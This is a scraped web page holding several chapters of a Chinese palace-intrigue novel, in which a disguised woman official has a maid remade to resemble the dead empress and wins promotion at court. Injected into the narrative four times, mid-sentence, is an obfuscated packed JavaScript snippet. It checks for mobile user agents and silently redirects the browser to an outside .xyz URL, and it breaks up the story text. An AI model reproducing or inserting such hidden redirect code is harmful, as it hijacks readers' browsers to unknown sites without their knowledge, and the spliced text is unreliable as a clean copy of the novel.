紫苏抿了抿唇，眼里是毫不遮掩的机敏警觉。我原以为她要彻底拒绝，却听她话锋一转：“……但我所见过的所有男人，从未有人说过像公子这样的话。” “旁人都希望我怕他，畏他，顺他。唯独公子问我，是否想要将这些都践踏于脚下。”她像是下定某种决心似的，哑着嗓子说道，“公子需要紫苏做什么，请但说无妨。” 我问她：“不知我们方才所议之事，紫苏姑娘可有听到？” 紫苏回答：“李公子屏退众人，我只听到圣上要过诞辰，后面的内容并不知晓。” “我们方才谈及，前皇后带着情人自裁，圣上满腔愤恨无处发泄，只能面对一地残骨，因此每逢生辰便会迁怒旁人。众人都对前皇后的事唯恐避之不及，在圣上面前绝口不提当年往事。可他们不知，这恨海，同时也是情天。圣上对此事耿耿于怀多年，便可见前皇后在他心目中的地位。” “你说，这时若有跟前皇后面容相似之人，出现在圣上的面前，他又当作何反应？” 紫苏思索了一会儿，回答道：“我觉得，圣上应当会龙颜大怒。” “然后呢？” “然后，他会回想起种种往事，或许会触景生情……”紫苏自言自语般说着，露出恍然大悟的神情，“他会将这女子留在身边，跟自己记忆里的那人进行对照。” “没错，越是得不到的东西，就越想攥在手心。前皇后决然离世，甚至没留下质问的机会。当年青梅竹马一场，最后走到相看两厌，圣上心中很难说没有遗憾。可他无法让死人复生，跟无法对死人进行惩戒。于是这种复杂的情感，不断地积淀，最后发酵成无尽的怀念，瘀堵在胸口无法消散，彻底成为了他的心结。” “倘若此时有相貌相似的女子出现，便可成为这经年累月情感的发泄口。哪怕是自我欺骗，他也绝对会倾尽一切，将此人留在身边。” “而这，便是你我的机会。” 紫苏很快明白了我的意思。她问：“莫非公子希望我在诞辰，以形同前皇后的模样出现在圣上面前？” 我回答：“正是。” 紫苏闻言，面色不由得凝重了起来。她抿了抿唇，说道：“紫苏虽然不曾亲眼见过前皇后，但也对她也有所耳闻。皇后娘娘国色天香，远非我这等样貌可以比拟。若要李代桃僵，恐怕难以成事。” “这点你不用担心，我自有应对之策。”我望着紫苏，忍不住轻叹一声，“只是你要想清楚，皇宫毕竟是个吃人不吐骨头的地方。千万不要因为我曾帮过你，就轻易相信我。我跟那些男人并没有什么区别，我也是在利用你。但我跟他们不一样的地方在于，只要你想，你也可以尽情地利用我。” “紫苏明白，公子需要我在后宫帮助谋事，而我需要公子助我脱离苦海，不过是各取所需。” 她比我想象的还要清醒。 正因她如此干脆利落，我反倒有些犹豫不定：“紫苏姑娘，我可以将你送至高处，你能享荣华富贵，得敬重畏惧，受万人跪拜。但高处不胜寒，伴君如伴虎，我不能保你性命无虞。” “公子放心，紫苏不怕死，只怕活得窝囊。”她忽然莞尔一笑，眼底尽是落拓洒脱，“紫苏本来生如草芥，不该妄想尊卑贵贱之事。可人生在世三万天，蹉跎折辱是活，浑浑噩噩是活，权势滔天也是活。我怎么也想不明白，凭什么我生来是贱，而他们就是贵？” 我果然没有看走眼，她确实是个可造之材。可越是明白她的伶俐，我越是心有不安，仿佛眼睁睁看着她，被我亲手推入火坑。 我们谁也不知道，这坑底的尽头，究竟是飞蛾扑火，还是凤凰涅槃。 “紫苏啊，人生在世，便是苦海无涯，又谈何脱离苦海？”我忍不住心生惆怅，感慨道，“现如今，你需要看他人眼色行事。若是顺利入宫，你还是需要看他人眼色。只不过人数从千百万人，变成了陛下一人。你可以将曾经看不起你的人踩在脚下，可是说不定以后有权势更高的人，会再次将你踏入泥泞。一山更比一山高，权力便是如此，永无止境……” 说到这里，我也不由得产生片刻的迷茫。我铤而走险独身入京城，瞒天过海蒙混至今，只为那碎银几两，究竟是对还是错？ “没想到，公子心思深，心却不狠。您对我如此推心置腹，我自然不会辜负这一片好心。”紫苏捂着嘴，浅浅笑道，“您大可放心，既然做出如此决断，我自会承担相应的后果。” “若真踏入宫门，便再无退路。”我晃了晃脑袋，彻底回过神来，便将提前备好的纸条，塞到紫苏的掌心，“此举乃剑走偏锋，不可草率行事。还请三思后行，多加定夺。如果三日后，你心意已决，依然愿意淌这浑水，便来这地方见面。我会安排人，前来与你接应。” 26 三日后，紫苏如期而至。 我乔装成老伯，早已在约定地点等候多时。 紫苏半信半疑地望着我：“您便是周公子派来的人？” 我佝偻着后背，咳嗽了几声，变换成苍老的声线：“是的，老夫正是奉周公子的命令，来为姑娘更换容貌。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569723|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紫苏脸上闪过片刻的惊愕，很快又恢复了平静。她道：“听闻民间多能人异士，我却从未见过，没想到今日竟然有幸亲身体验一回。” “姑娘请坐。”我提前布置了桌椅，准备好易容用的工具，轻声叮嘱道，“先闭上眼，没有我的同意，绝对不要睁开。” 紫苏十分配合，紧闭双眼坐了下来。 其实睁眼闭眼都没所谓，根本不会影响易容术的实施。但我怕过程出现纰漏，因此特意嘱咐了一番。 整个过程进行得极为顺利，不多时便完成了易容。我将镜子横放在紫苏的面前，轻声说道：“好了，你可以睁开眼了。” 紫苏闻言，缓缓抬起眼皮。她望着镜子里的自己，呆愣了半晌，才反应了过来：“这、这……真的是我？” 她小心翼翼地伸出手，试图抚摸自己的脸颊，又唯恐毁坏刚易容完的样貌，于是手指颤颤巍巍停在脸皮几毫厘之外。 “当然，这就是你。”我回答得很爽快，“如假包换。” “好一个如假包换。”紫苏扬了扬嘴角，可笑意未达眼底，转而蹙起了眉头，语气有些忧愁，“本来就是假的，又如何变成真的？” “话不能这么说。”我伸出一根手指头，开始讲大道理，“这世界本就是真真假假，谁也看不清楚，所以真伪本身并不重要，重要的是别人对你的看法。你若是让别人相信你是真的，那你便是真的。” 紫苏脸色稍霁，说道：“老伯您手真巧，可谓是真假难辨，看来周公子的手下人才辈出。” 我抚了一把假胡子，笑而不语。 若我直接用周郎的容貌见面，就相当于暴露自己会易容术，说不定紫苏日后会看出端倪，发现我的真实身份。万一她哪天选择背叛我，那我恐怕会落得个死无葬身之地。 虽说用人不疑，疑人不用，但防人之心不可无。我还是决定小心提防，为自己留一条后路。而凭空捏造老伯这层身份，便可以成为保护我的屏障。 “离圣上的生辰还有一段时日，紫苏姑娘需要早做筹备。”我从衣裳里掏出准备好的卷轴，又指了指房内堆放的箱子，“这是我收集的，有关前皇后的生平逸事，还有圣上的喜好，务必要牢记于心。还有箱子里的书籍，也要熟读，尽量做到融会贯通。” 紫苏接过卷轴，打开箱子翻看了一番，面露疑惑道：“为何这里头，还有兵法、权术、制衡驭人之术，这不是将军帝王才看的书吗？” 我摇了摇头：“紫苏姑娘，人无贵贱，书无好坏。从来没有规定，什么书只许将军看，什么书只许帝王看。况且……周公子培养您，并非是送您入后宫争宠。嫔妃们斗来斗去，争的那点宠爱，又有什么意思？您的目光所及之处，应该放在朝廷权谋，而非三宫六院。” “您想想看，自古都有外戚干政、宦官专权，太后垂帘听政，皇后插手政变。这是皇家最怕的事，但同时也意味着……”我垂下眼眸，意味深长地说道，“这权力啊，就像流动的河水，不会永远滞留在一处。” 紫苏瞪大双眼，半天没说出话来。过了许久，她才平复了心情，缓缓道：“我明白了。还请老伯帮我给周公子带一句话。” “什么话？” “紫苏今日，受益匪浅。” 11. 升官 27 皇帝诞辰，普天同乐。宴会当晚，百官云集，纷纷献上贺礼。 昏君坐在高位上，单手撑着下巴，看起来兴致缺缺。旁边的妃子笑着拨开葡萄皮，将晶莹剔透的果肉送到他的唇边。而底下的官员们，就像是费尽心思的杂耍艺人，拼命想要获得君王的青眼。 所谓贺礼，无非是诗词字画、金银珠宝之类的物件，只不过模样不同罢了。 顾郎献上夜明珠，昏君只粗略扫了一眼，便摆摆手过去了，看起来根本没有放在眼里。 很快就轮到了李郎。他按照我的建议，制作了万寿无疆图。 听完这张图的由来寓意，昏君微微颔首，多看了几眼：“不错，赏。” 仅仅是三个字，却令李郎大喜过望。他连忙作揖，告退时眼底是遮不住的欢喜。 接着呈上的贺礼，都无甚新意。昏君打了个哈欠，似乎有些不耐烦。 正巧赶上这关口，刘郎呈上了贺礼：“这是微臣特意寻来能工巧匠，打造出来的一套寿桃鎏金酒器。祝陛下洪福齐天，万寿无疆。” 昏君喜美酒，酒器投其所好，也算是讨巧的办法。难怪刘郎始终遮遮掩掩，不肯跟别人透露半点风声。 我原以为刘郎会得到嘉奖，没想到昏君却眯起眼，面露不虞道：“在你的眼里，朕就这般沉迷酒色？” “微、微臣不敢。”刘郎身形踉跄了一下，声音止不住的颤抖，“这、这酒器只是……” “滚！”昏君打断他的辩解，直接大手一挥，“来人，拖下去。” 刘郎顿时面如死灰，直接瘫软在地。那日我回怼他的戏言，没想到竟然一语成谶。 原先我只是听闻昏君喜怒不定，如今真的亲眼见到，不免有些心惊。 常言都道，无情最是帝王家。别人的生死沉浮，毕生追求的富贵荣辱，落到他的嘴边，不过是轻描淡写的几句话。 因着这番波折，在场鸦雀无声，甚至无人敢再上前。他们生怕皇帝余怒未消，波及到自己。 “众爱卿怎么都不说话？” 昏君的声音，在此时无异于催命符。 最后还是王丞相打破了这片诡异的沉默。他道：“微臣聊备了一些薄礼，愿陛下与天同寿。” 昏君既没有说好，也没有说不好，只是心不在焉地点了点头。他歪着脑袋，靠在嫔妃的肩头，心思似乎飘向了别处。 其他朝臣见无事发生，才暗自松了口气，继续依次恭贺献礼。 我观察了好一会儿，直觉时机差不多，才迈步而出，开口道：“微臣为陛下准备的贺礼，有些许特殊。” “哦，怎么个特殊法？”昏君抬头看向我。 “我献给陛下的，不是物，而是人。准确来说，是一支舞。” 我屏住呼吸，朝后摆手示意。一群戴着面纱的女子鱼贯而入，随着奏乐翩翩起舞。而站在最中央的，便是手抱琵琶的紫苏。 她一手拨弦，一手舞动，脚尖步步生莲，身姿摇曳轻盈。最终如我们提前约好的那般，她脸上的面纱，在舞曲的最后随风落下。 世界仿佛安静了一瞬，昏君陡然间站了起来。他瞪大双眼，满脸不可置信，吼道：“大胆！” “你是什么人，竟敢凭这副面貌出现在朕的面前？你们以为朕是这么好戏弄的吗？！” 昏君咬牙切齿，眼珠里尽是殷红血丝，看起来恨不得吃了我。 我远远看见对面的朝臣，目光里隐约带着几分悲悯和同情。或许在他们的眼里，得罪皇帝的我，俨然成为了一个死人。 这是一场生死对弈。要么平步青云，要么满盘皆输。 在这短暂的瞬间，我的掌心渗出了细汗。周佑民是赌徒，我也不遑多让。唯一的区别在于，他赌的是钱财，我赌的是性命。 空气极具压迫感，几乎令人窒息。昏君忽然吐出一口浊气，猛地跌回宝座。他捂着脸，低笑了几声，状似癫狂，很快又变脸般地恢复了理智。 昏君看了看紫苏，又指了指我。他的声音变得和缓，像是吐着信子的蛇：“你，还有你，叫什么名字？” 紫苏低下头，不卑不亢地答道：“民女名为苏梓。” 苏梓倒过来，便是紫苏。 我也低着头，回答道：“微臣名为周佑民，是礼部的主事之一。” “周佑民……很好，朕记住你的名字了。”昏君拍了拍手掌，嘴角勾起一抹弧度，“你送的这份贺礼，是近年来最有趣的东西，朕十分喜欢。赏，重重有赏！” 他眯起眼睛，似乎在回想着什么，紧接着说道：“王丞相，朕好像记得，这礼部侍郎一职正好空缺，是吗？” 王丞相捋了捋胡须，答道：“回陛下，确有此事。” 昏君挥了挥手，做下了决断：“眼下便有如此人才，便把侍郎之位给他吧。” 28 人生三大幸事，升官发财死夫君。 我成了礼部侍郎，还额外得到几箱银子作为奖赏。 紫苏成了皇帝的宠妃，很快就册封为了皇后。李郎见了她都要跪拜叩首，张知节遇着她都要礼让三分。 昏君将她留在身边，日夜形影不离。他把对前皇后的遗憾，尽数寄托在紫苏的身上，仿佛扮演自欺欺人的家家酒。 或许在他看来，紫苏的出现是因缘巧合，还是别有居心，根本就不重要。因为他是至高无上的帝王，没人能轻易伤他性命，他只需考虑自己的悲欢喜怒。 不喜欢的就杀掉，喜欢的就留下。他就像是被惯坏了的小孩，在皇权的溺爱之下，极尽天真无邪的残忍。 紫苏摸清昏君的脾性以后，便开始旁敲侧击打探他对朝臣政务的看法，再暗中给我传递消息。 因着这层关系，我在早朝的发言中，次次都能讨得昏君的欢心。 上有所好，下必甚焉。我当不了清官，只能做个奸臣。 自从我成了皇帝眼前的红人，便时常有人用银子收买贿赂，试图跟我结下交情。我自然是来者不拒，一并将所有钱财收入囊中。 说不上腰缠万贯，但也算是小有钱财。我雇人将府邸修缮了一番，又添了不少家丁奴婢。马厩里堆满了稻草，骏马养得油光水亮。 出门便有马车接送，只要我一抬脚，便有人跪在跟前，自愿当下车的脚垫。 住在奢华的宅院，身穿锦衣华服，吃的是山珍海味。我梦寐以求的富贵，如今便近在咫尺，成为了活生生的现实。可当这日真正来临，我却觉得索然无味。 不够，还是不够。这些都不是我真正要的。 我陷入一股莫名的空虚，内心深处无比焦躁不安。大脑里仿佛钻进了一只饕餮，欲望不断膨胀，不管如何吞咽，始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569724|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终都饥渴难耐。 在无人的深夜，我坐在镜子前，看着周郎的这张脸。忽然有些弄不明白，我想要的到底是什么。 29 这天在前去早朝的路上，有一位陌生少年忽然从街边冲了出来，伸手拦住了我的马车。 我掀起帘子，探出半个头，问道：“光天化日，为何在此寻衅滋事？” 这少年面容稍显稚嫩，看起来约莫十四五岁。衣服布料是上好的丝绸，刺绣样式极为精致，估计是哪家偷跑出来的世家子。 他双手环抱，上上下下打量着我，接着横眉冷对，问道：“你就是周佑民？” 只是个不懂事的孩子，我自然不会太过计较。看着他这副不可一世的傲气模样，我不禁哑然失笑，回答道：“正是。” 或许是我的目光太过慈祥，他似乎觉得自己被看轻了，恼羞成怒道：“我呸，你这个媚上欺下的贪官，不要脸的奸臣！” 我不想跟他计较，并不代表我乐意听人指着鼻子骂自己。 “喂，小家伙。”我侧着身子，往外伸长脖子，“口说无凭，你可不要血口喷人。说我是贪官奸臣，你又从哪里听说的，能不能拿出证据？” “哼，我姑姑婶婶大伯二叔都是这么说的。我表哥玉树临风，饱读诗书，才华横溢，你这种酒肉饭囊根本比不上他。若不是他让着你，礼部侍郎的职位，怎么会落到你的头上！” “你表哥是谁？” “我表哥是……”他挺着胸脯，满脸的骄傲崇拜，正要顺着我的话头说下去，却猛然回过神，立即闭上了嘴。 好吧，激将法不管用。没有自报家门，看来这小子还不至于蠢上天。 既然暗的不行，就来明的吧。我伸出手，想把他拉进车厢，好生盘问一番。 没想到他颇为灵敏，一下子甩开我的手，像只泥鳅一样溜了出去。混乱间我失去平衡，朝前栽了下去，他手肘后撤，巴掌正好扇到了我的脸上。 待我稳住身形，他早已消失在人群之中。我捂着自己发疼的脸颊，心里很不是滋味。 这一巴掌打醒了我。 我忽然意识到，现在这份权力从来都不属于我。 我以为自己大获全胜，但其实什么都没有得到。不管是我，还是紫苏，我们都是被关在笼中的困兽，从饲养者那里拿到了些许施舍，便自以为赢得了一切，甚至为此沾沾自喜。 我们没有把任何人踩到脚下。因为他们跪的不是紫苏，是皇权。他们攀附的不是我，是地位。 在我自己也不曾意识到的时候，我把紫苏当成了手中的棋子，用冠冕堂皇的借口，完成某种象征性的上供，来换取所谓的名利。原来至始至终，我都跟自己瞧不起的男人没什么区别。 我有些迷茫。如果不这样做，我又能怎么办呢？ 一个女人所能做的事有限，于是我把自己伪装成了男人。在不知不觉间，我的思维也在潜移默化中转变，连我自己都感到恶心。 曾经我是叶婉清，我守着闺房，盼着竹马回来娶我。现在我是周佑民，我渴望权势，盼着昏君施舍垂青。难道所谓的富贵，只能一味地奉承讨好吗？ 女人讨好男人，男人讨好权势。层层堆砌的等级，如同一层层玲珑宝塔，压得人喘不过气。无论是哪种人生，无论选择哪种面容，始终都无法得偿所愿。 12. 出使 30 我下了马车，入了宫门。在前去正殿的路上，忽然有人从身后叫住了我。 “周侍郎，请留步。” 我回过头，原来是赵怀礼。他平日里总是衣冠整齐，现在却有些狼狈。额头冒着细汗，鬓边头发稍显凌乱，皮肤泛着薄红，呼吸也较为急促，像是一路小跑过来的。 “赵兄喊得如此客气，我还以为是别人呢。听惯了你直呼其名，现在忽然改口，我真有点不适应。”我笑着凑过去，伸手扶正了他的发冠，打趣着问道，“发生了什么事，竟让我们赵大人这般匆忙？” 赵怀礼端正神色，对我弯下腰，深深行了一礼。他道：“我是过来道歉的。” “赵兄做了什么事，为何要道歉？” “今早我正要出门，却撞见我表弟从外面回来。他行色慌乱，面露心虚，我再三询问，才得知他当街冲撞了你。” 赵怀礼保持着弯腰的姿势，我甚至能看见他头顶发簪雕刻的花纹。 我双手抵着他的肩膀，试图掰正他的身体：“快起来，就算有错，做错事的也是你表弟，轮不到你道歉。” 赵怀礼纹丝不动，依旧低着头：“是我管教不严，放任他肆意妄为，今天闯下这等祸，给你添了麻烦。” 真是死脑筋，怎么比磨坊的驴子还倔。 “上回是侄子，这次是表弟。赵家人丁兴旺，赵兄要操心的事，可真是多呀。”我叹了一口气，索性放弃说服他，直接双手叉腰，承认道，“反正你表弟也没骂错，我就是个谄媚的奸臣。就算那天被人当街刺死，也算死不足惜。” 赵怀礼闻言，立即抬起头，脸上俱是错愕。他道：“何出此言？旁人不曾知晓你的性情，才会在背后造谣生事。我表弟自小跟在我身后，孺慕之情有些偏激，才会偏听偏信，说出那些冒犯的话。你千万不要往心里去，更不要当真，绝不可因此妄自菲薄。” “这话说的，就好像你知道我是什么人一样。别说是千人千面，哪怕是一人也有千面。见人说人话，见鬼说鬼话。你以为我有多高尚廉洁，不过是我装出来的模样，实际上我就是个贪财的小人。志趣相投都是假的，而黄金白银才是真的。” 赵怀礼愣在原地，似乎有些不可置信。 他道：“我见过很多人，分得清真心假意。哪怕是我识人不清，哪怕是你满口谎言，那日所说的话，也绝不是一个中饱私囊的无能之辈能说出口的，你怎么会……” “哈哈哈我逗你的，瞧你这紧张的样。”我大笑着摆了摆手，揽过赵怀礼的肩膀，“其实我跟你说的所有话，确实都是出自真心实意。” 我伸出一根手指，用另一只手压弯了它，问道：“赵兄可明白过刚易折的道理？” 赵怀礼点头：“自然。” 我继续道：“水至清者无鱼，过于清正廉洁，未必是件好事。赵兄做得到心怀天下，可大多数人都做不到。他们只看得到眼前的蝇头小利，若是有人背离自己的意愿，便会群起而攻之。” “做坏人容易，做好人难。做奸臣容易，做清官难。全黑的纸张染了污渍，看起来并不明显，而全白的纸张滴了一粒墨点，却会异常显眼。好人要顾及的事情太多，难免束手束脚。而坏人无所顾忌，便可大展拳脚。” “做清官需要行得正坐得端，但凡出现半点纰漏，便会受到指责。可人非圣贤，孰能无过？哪怕再谨小慎行，也难做到无可置疑。始终畏首畏尾，还要时刻提防小人暗算，如此弹尽竭虑，却未必能升官。在其位谋其职，没有高官，便没有权力。自然也就无力改变江山社稷，再好的宏图壮志也终成一纸空谈。” 赵怀礼的神情有些许动容，我便乘胜追击，继续忽悠：“与其束缚手脚，我宁愿离经叛道，走一条不为世人所理解的道路。我做奸臣，既图钱，也图权。权钱并无好坏，区别在于人心。哪怕是贿赂得来的钱，若是流向百姓，那也是善行。” 谎言重复千百次，不自觉便成了真。现如今，我也分不清，自己嘴里说出来的话，到底是虚情假意还是真情流露。 若我往上爬，爬到最高，是否可以改变这该死的尊卑贵贱？究竟是我被权力吞噬，还是权力被我扼杀，亦或是两者同归于尽？ 赵怀礼的声音清朗，在我的耳边响起。他道：“周弟乃非常人，行的是非常事。” “这番独特的见解，倒是令我醍醐灌顶。兴许是我太过迂腐，光读圣贤书，却忘记落到实处。果然这侍郎之位，比起我来当，还是周弟更合适。” 我挑了挑眉：“只凭借谄媚的本事，我便当上了侍郎，赵兄当真没有遗憾？” 赵怀礼摇头：“绝无遗憾。” 我道：“可你的家人，似乎对我颇有微词。” 赵怀礼的态度，并不代表别人的想法。从他表弟的行为，就可以窥见一二。 我半路截胡了赵怀礼的官职，赵家人肯定大为恼火。他们打点好关系，想要将赵怀礼捧上去，却被我钻了空子。估计是在背地里讨论我，让小辈听了去，才会闹出今日的事端。 赵怀礼愣了愣，随即解释道：“你放心，他们不会为难你。” 他听懂了我的言下之意。作为寒门出身的书生，我在朝廷无依无靠，甚至都没有亲近任何党派。若是得罪了赵家，日子自然会不大好过。 现如今我正得势，他们看在皇帝的面子上不会动我。但圣心难测，日后我若失势，说不定人人都能来踩上一脚。 此外，我也很在意赵怀礼表弟所说的话。他说，是赵怀礼在让我。 “赵怀礼，你实话告诉我。你是不是在可怜我？” 他矢口否认：“没有。” 我却起了疑心：“从内定你为侍郎的消息传出，到圣上的生辰，中间有一段时日。这期间分明可以下达任命书，却迟迟没有动静。张尚书办事从来不会拖泥带水，除非是你自己不愿。我说的对吗？” “看来还是瞒不过你。”赵怀礼长叹一声，解释道，“其实， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574742|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从上次跟你长谈，回家后我思虑良久，始终觉得自己并非礼部侍郎的最好人选。论资历，你比我早一年。论办事能力，你也不逊于我。我胜过你的地方，无非是家世。可我偏偏不想要凭借这个，来获得这份升迁。” 他目光灼灼，言之切切：“我曾无数问自己，若我不姓赵，仅凭自己，能够走到如今的地位吗？若我不是赵怀礼，而是张三李四王五，这份官职会属于我吗？构成我赵怀礼的，不应当是家世身份，而应是才华品格。若我接受了任命书，我便不再是我。” “君子和而不同，我理解你的立场，但我也有自己的坚持。”我抬起头，望着赵怀礼的眼睛，认真说道，“你的谦让，对于我来说，反而是一种傲慢。我不是路边的乞丐，官位也不是廉价的大饼，我不需要你故意施舍。谁输谁赢，自然是各凭本事。” “我想要的，必定要得到。不管是争，还是抢，我都会拿到手。你若真是故意让着我，那才是真的看不起我。” “你啊，总是……会说出让我惊讶的话。”赵怀礼抿了抿唇，表情看起来有些无奈，却有带着几分释然，“好，我答应你，以后若是再有类似的事，我必然不会再让你。” 说到这里，他像是想起了什么事情，忽然伸手摸向我的胳膊：“上次的擦伤，没有留疤吧？” “那点小伤，早就好了。”我微微侧身，避开他的手，顺势岔开话题，“时候也不早了，再聊下去，该赶不上早朝了。” 31 早朝的队列，便代表了官职地位。 升为侍郎以后，我的站队往前移了两排。起初刚入京那会儿，我待在队列末尾，只能看见张知节的后脑勺。而如今，我总算能看清他的肩膀了。 只是如此，还远远不够。我希望有朝一日，能轮到他来盯着我的后背。 朝廷讨论的事务，无非是内政外敌。而今日议论的焦点，便是燕国的和亲之事。 我国跟燕国交战，已经持续了一年。其中你来我往，打得不分上下，昨日你败一城，明日我失一城。来回拉锯战，始终分不出胜负。 正所谓一将功成万骨枯，每场战役都是用人命鲜血垒出来的。再持续下去，粮草兵马耗尽，百姓苦不堪言，双方都讨不到好处。 燕国实在按捺不住，率先派人过来和谈。和谈的内容之一，就是他们会将公主嫁过来和亲。 目前需要定下来的事，就是前去接公主的队伍人选。各部需要派遣相关官员，共同组建起这支队伍，前去偏远的燕国。 这是一件苦差事，因为两国关系尚不稳定，燕国的真实目的不明，说不定这就是一场有去无回的鸿门宴。因此底层的朝臣们全部都捏了一把汗，生怕这事最后落到了自己头上。 礼部负责祭祀天地、礼仪典章、婚丧嫁娶，自然无可推卸。 当问及礼部何人出使时，张知节忽然出列，开口道：“臣举荐礼部侍郎，周佑民。” 我心里咯噔一下，暗道不妙。 13. 墙头草 32 我完全没想到张知节会在这时举荐我。 事先没有任何人告知我，礼部的人选里面会有我的名字。按理来说这种安排，基本都会提前通好气，或者稍微暗示一下。而我却没有收到提醒，便被推到了台前。 我断然不会任由他操控局势，连忙开口道：“臣以为不妥，如此重要的大事，应该派遣更为……” “陛下，周侍郎正是最好的人选。”李郎从队列中走出，直接打断了我的话，“礼部不少大臣年事已高，山高路远舟车劳顿，恐怕心有余而力不足。年轻力壮的礼部官员，大多资历尚浅，官阶也不高，若是派遣出去，可能会让燕国误以为我们看轻了他们。两者相权衡，唯有周侍郎，既年少有为，又资历足够，无疑是此次出行的不二之选。” 我万万没有想到，平日里一口一个周弟叫得亲热的李郎，竟然会在这时跟张知节沆瀣一气，反过来背刺我。亏得我还给他献上过良策，他却狼心狗肺，如此恩将仇报。 他的话说得好听，明摆着就是捧杀。三言两语便让我定死在砧板上，将此事说成非我不可。若我还一味推卸，便是弃家国大义于不顾。 我只好重新闭上了嘴。 昏君听我们掰扯这么久，仅存的耐心也彻底耗尽。他不以为意地摆了摆手：“行吧，这事你们自己看着办。朕只需要有人能顺利把公主接过来，至于是谁，朕并不在乎。若是中途出了差错，你们便用脑袋来偿还吧。” 待下了早朝，我想去寻李郎说话，他却故意躲着我，一直其他官员交谈，始终不敢转头看我。 等到说完了话，他依然步履不停，明显着急离开。我追了上去，想要问个明白，他却顾左右而言他，半天说不出所以然。 我决心打破砂锅问到底，可是张知节却走了过来。他横在我们中间，神情从容道：“我有事要跟他商谈，周侍郎可否改日再叙？” 我还是不死心：“正巧我也有事要问张大人，不妨一同去酒楼用午膳，两位正好可以商谈一番。” 张知节拒绝道：“多谢周侍郎邀约，只不过我们要聊的是私事，不便跟公务混为一谈。” 说罢，他便拱手告辞。李郎跟在他的身后，回过头看了我一眼，轻轻摇了摇头。 他似乎心有愧疚，在跟我擦肩而过的瞬间，我听见他轻声说了一句：“抱歉。” 真是墙头草，风吹两边倒。现如今，还在这里装什么圣人，实在是虚伪至极。 33 正所谓树大招风，前些时日我的风头正盛，确实是有些过了头，现如今便遭了报应。 李郎是墙头草，而我也不是省油的灯。我可不愿意莫名其妙就吃下这个哑巴亏。 距离出使的日子，大约半月有余。在这之前，我势必要弄明白，到底是谁在背后搞鬼。 作为张知节曾经的青梅，我了解他的行事风格。他城府深心思重，向来沉得住气，极其能忍，不会因为意气用事而误了大事，也从不会主动跟人结仇。 他若是想要折腾人，肯定会做得滴水不漏，而不是用这种拙劣的手段。这种摆在明面上吃力不讨好的事，若非有人属意，他绝不会亲力而为。 既然他选择亲自出面，很大可能是应了某个大人的要求。而且这位大人，必定是位高权重，官职要比张知节要高。 我费了一番功夫，暗中调查张知节的行踪，没想到真发现了可疑之处。 张知节用别人的名字，在京城购置了一处宅院。 许多官员都会敛财，再私下囤购田宅。因为是常有的事，所以没必要特意隐瞒。张知节却做得如此隐晦，莫不是有什么不可见人的交易？ 为了搞清楚这座宅院的用途，我在休沐日决定去一探究竟。 红砖绿瓦，大门紧锁。高耸的围墙矗立，足以隔绝外人的视线。我绕着外围走了一圈，发现正门落了不少灰尘，后门的衔环金兽却干干净净。这说明里面居住的人，出入大多是从后门而非正门。 可惜没办法翻过墙，偷看里面的情况。我正感到遗憾，忽然看见有一辆马车远远驶了过来。 车身很普通，用的是常见木材。遮挡日光的华盖，丝绸样式也并不名贵。暗紫色的珠帘垂下，随着马车的移动而左右晃动。 我的眼皮微跳，不知怎地，忽然想起一桩往事。 那时我装作情投意合的模样，说要给张知节绣个香囊，问他喜欢什么颜色。他回答说喜欢紫色，最好是暗紫色。我问为什么，他说，财不外露，情不外显，深紫色低调，不引人注目。 如今看见这马车，我便心生疑虑，便撤到拐角，躲在了不起眼的地方。果不其然，马车沿着围墙绕了半圈，在后门停了下来。张知节掀开帘子，左顾右盼一圈，确认无人在旁，才缓缓走下马车，叩响紧闭的大门。 说时迟，那时快。门扉猛地打开，冲出来一个面容明艳的女子。 她揪着张知节的衣领，怒目而视道：“好啊，你个混蛋，可让我给逮着了。” 张知节的脸上，罕见地露出几分慌乱：“你怎么在这里？” “哼，我若不到这里，怎么知道你偷偷藏了个狐狸精？”女子理了理鬓边的头发，冷笑了一声，转身从门后揪出了个美貌柔弱的女子，“人证物证俱在，你还有什么话好说的。” 听完这番对话，我大致猜出了她的身份。此女应当是王慧敏，她是王丞相的女儿，同时也是张知节的妻子。 王慧敏脾气大，眼里容不下沙子。张知节是妻管严，朝廷人尽皆知。 至高至明日月，至亲至疏夫妻。没想到张知节表面对妻子百依百顺，背地里竟然在养小妾。难怪他要将这栋宅院藏得那么深，毕竟惹恼了王慧敏，可能连带着冒犯了自己最大的靠山王丞相。 这点小事虽然不足以动摇他们形成的利益关系，但王慧敏的态度在某种程度上也代表着丞相府。若是张知节不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 